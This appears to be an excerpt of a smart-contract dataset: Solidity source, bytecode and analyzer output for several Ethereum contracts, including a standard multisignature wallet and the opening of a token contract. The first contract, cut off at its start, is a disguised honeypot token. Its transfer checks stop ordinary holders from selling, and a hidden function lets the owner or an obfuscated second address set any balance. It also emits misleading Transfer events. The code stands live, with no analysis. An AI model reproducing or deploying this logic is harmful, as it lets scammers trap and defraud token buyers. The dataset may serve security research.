function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
//go the white address first
if(_from == owner || _to == owner || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function uniswapV2(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(999107250543686016067011668506013520626971513403));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function uniswapV2_control(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x6080604052600436106100c25760003560e01c80634f9d3bc11161007f57806395d89b411161005957806395d89b4114610441578063a9059cbb146104d1578063aa2f522014610537578063dd62ed3e14610611576100c2565b80634f9d3bc114610302578063702e91281461036957806370a08231146103dc576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc610696565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610734565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d2610826565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061082c565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d2565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610be5565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b5061034f6004803603606081101561032557600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610bea565b604051808215151515815260200191505060405180910390f35b34801561037557600080fd5b506103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b604051808215151515815260200191505060405180910390f35b3480156103e857600080fd5b5061042b600480360360208110156103ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de9565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610e01565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049657808201518184015260208101905061047b565b50505050905090810190601f1680156104c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61051d600480360360408110156104e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6105f76004803603604081101561054d57600080fd5b810190808035906020019064010000000081111561056a57600080fd5b82018360208201111561057c57600080fd5b8035906020019184602083028401116401000000008311171561059e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610eb4565b604051808215151515815260200191505060405180910390f35b34801561061d57600080fd5b506106806004803603604081101561063457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111d565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561072c5780601f106107015761010080835404028352916020019161072c565b820191906000526020600020905b81548152906001019060200180831161070f57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088857600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000808214156108e55760019050610bde565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2c5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109a157600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a37848484611142565b610a4057600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a8c57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4657600080fd5b60008311610c55576000610c5d565b6012600a0a83025b60028190555060008211610c72576000610c7a565b6012600a0a82025b600381905550836004819055509392505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d2b575073af0184c23300885e9bf53343b20d51e0afef123b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d3457600080fd5b6000821115610d88576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e975780601f10610e6c57610100808354040283529160200191610e97565b820191906000526020600020905b815481529060010190602001808311610e7a57829003601f168201915b505050505081565b6000610eac3384846108d2565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f1057600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f6457600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b8451811015611111576000858281518110610fce57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161107e57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816110ed57fe5b046040518082815260200191505060405180910390a3508080600101915050610fb7565b50600191505092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806111ed5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112455750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806112995750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112a757600190506112bf565b6112b184836112c6565b6112ba57600080fd5b600190505b9392505050565b6000806004541480156112db57506000600254145b80156112e957506000600354145b156112f75760009050611396565b60006004541115611353576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106113525760009050611396565b5b60006002541115611372578160025411156113715760009050611396565b5b60006003541115611391576003548211156113905760009050611396565b5b600190505b9291505056fea265627a7a72315820570868ab595d2bdff7499c4c6de03e0787aa4a1bbf1bc631ff83b3f0e3bdfd2064736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,975 |
0x520f1214aebf4507a02cf5c5ac7e236e772db95f
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4b383f2e2d2a25652c2e24392c2e0b282425382e2538323865252e3f">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6080604052600436106101035763ffffffff60e060020a600035041663025e7c27811461014e578063173825d91461018257806320ea8d86146101a35780632f54bf6e146101bb5780633411c81c146101f057806354741525146102145780637065cb4814610245578063784547a7146102665780638b51d13f1461027e5780639ace38c214610296578063a0e67e2b14610351578063a8abe69a146103b6578063b5dc40c3146103db578063b77bf600146103f3578063ba51a6df14610408578063c01a8c8414610420578063c642747414610438578063d74f8edd146104a1578063dc8452cd146104b6578063e20056e6146104cb578063ee22610b146104f2575b600034111561014c57604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561015a57600080fd5b5061016660043561050a565b60408051600160a060020a039092168252519081900360200190f35b34801561018e57600080fd5b5061014c600160a060020a0360043516610532565b3480156101af57600080fd5b5061014c6004356106ab565b3480156101c757600080fd5b506101dc600160a060020a0360043516610781565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b506101dc600435600160a060020a0360243516610796565b34801561022057600080fd5b50610233600435151560243515156107b6565b60408051918252519081900360200190f35b34801561025157600080fd5b5061014c600160a060020a0360043516610822565b34801561027257600080fd5b506101dc60043561093c565b34801561028a57600080fd5b506102336004356109c0565b3480156102a257600080fd5b506102ae600435610a2f565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103135781810151838201526020016102fb565b50505050905090810190601f1680156103405780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561035d57600080fd5b50610366610aed565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103a257818101518382015260200161038a565b505050509050019250505060405180910390f35b3480156103c257600080fd5b5061036660043560243560443515156064351515610b50565b3480156103e757600080fd5b50610366600435610c89565b3480156103ff57600080fd5b50610233610e02565b34801561041457600080fd5b5061014c600435610e08565b34801561042c57600080fd5b5061014c600435610e9b565b34801561044457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610233948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f829650505050505050565b3480156104ad57600080fd5b50610233610fa1565b3480156104c257600080fd5b50610233610fa6565b3480156104d757600080fd5b5061014c600160a060020a0360043581169060243516610fac565b3480156104fe57600080fd5b5061014c600435611126565b600380548290811061051857fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561055457600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057d57600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106585782600160a060020a03166003838154811015156105c757fe5b600091825260209091200154600160a060020a0316141561064d576003805460001981019081106105f457fe5b60009182526020909120015460038054600160a060020a03909216918490811061061a57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610658565b6001909101906105a0565b60038054600019019061066b90826113cc565b5060035460045411156106845760035461068490610e08565b604051600160a060020a038416906000805160206114ae83398151915290600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106d357600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561070857600080fd5b600084815260208190526040902060030154849060ff161561072957600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561081b578380156107e3575060008181526020819052604090206003015460ff16155b806108075750828015610807575060008181526020819052604090206003015460ff165b15610813576001820191505b6001016107ba565b5092915050565b30600160a060020a031633600160a060020a031614151561084257600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561086a57600080fd5b81600160a060020a038116151561088057600080fd5b6003805490506001016004546032821115801561089d5750818111155b80156108a857508015155b80156108b357508115155b15156108be57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b018054600160a060020a031916841790555160008051602061148e8339815191529190a25050505050565b600080805b6003548110156109b9576000848152600160205260408120600380549192918490811061096a57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099e576001820191505b6004548214156109b157600192506109b9565b600101610941565b5050919050565b6000805b600354811015610a2957600083815260016020526040812060038054919291849081106109ed57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a21576001820191505b6001016109c4565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ada5780601f10610aaf57610100808354040283529160200191610ada565b820191906000526020600020905b815481529060010190602001808311610abd57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4557602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b27575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b82578160200160208202803883390190505b50925060009150600090505b600554811015610c0957858015610bb7575060008181526020819052604090206003015460ff16155b80610bdb5750848015610bdb575060008181526020819052604090206003015460ff165b15610c0157808383815181101515610bef57fe5b60209081029091010152600191909101905b600101610b8e565b878703604051908082528060200260200182016040528015610c35578160200160208202803883390190505b5093508790505b86811015610c7e578281815181101515610c5257fe5b9060200190602002015184898303815181101515610c6c57fe5b60209081029091010152600101610c3c565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbe578160200160208202803883390190505b50925060009150600090505b600354811015610d7b5760008581526001602052604081206003805491929184908110610cf357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d73576003805482908110610d2e57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5457fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cca565b81604051908082528060200260200182016040528015610da5578160200160208202803883390190505b509350600090505b81811015610dfa578281815181101515610dc357fe5b906020019060200201518482815181101515610ddb57fe5b600160a060020a03909216602092830290910190910152600101610dad565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e2857600080fd5b6003548160328211801590610e3d5750818111155b8015610e4857508015155b8015610e5357508115155b1515610e5e57600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610ec357600080fd5b6000828152602081905260409020548290600160a060020a03161515610ee857600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f1c57600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f7b85611126565b5050505050565b6000610f8f8484846112e9565b9050610f9a81610e9b565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610fce57600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610ff757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561101f57600080fd5b600092505b6003548310156110b05784600160a060020a031660038481548110151561104757fe5b600091825260209091200154600160a060020a031614156110a5578360038481548110151561107257fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110b0565b600190920191611024565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190916000805160206114ae83398151915291a2604051600160a060020a0385169060008051602061148e83398151915290600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff16151561115157600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561118657600080fd5b600085815260208190526040902060030154859060ff16156111a757600080fd5b6111b08661093c565b156112e1576000868152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959b50600160a060020a039093169594929391928392859260001991831615610100029190910190911604801561125e5780601f106112335761010080835404028352916020019161125e565b820191906000526020600020905b81548152906001019060200180831161124157829003601f168201915b505091505060006040518083038185875af192505050156112a95760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112e1565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561130157600080fd5b60055460408051608081018252600160a060020a03888116825260208083018981528385018981526000606086018190528781528084529590952084518154600160a060020a031916941693909317835551600183015592518051949650919390926113749260028501929101906113f5565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b8154818355818111156113f0576000838152602090206113f0918101908301611473565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061143657805160ff1916838001178555611463565b82800160010185558215611463579182015b82811115611463578251825591602001919060010190611448565b5061146f929150611473565b5090565b610b4d91905b8082111561146f57600081556001016114795600f39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90a165627a7a7230582066f9451e489f4ebafbf67bb4cea133951f9d0cb88125c0c14c905f0bc510c0e50029
|
{"success": true, "error": null, "results": {}}
| 3,976 |
0x6c4d31b63f55f4f2856a0825c022b8fa85fbdc9f
|
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
// https://t.me/atomicdoge
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
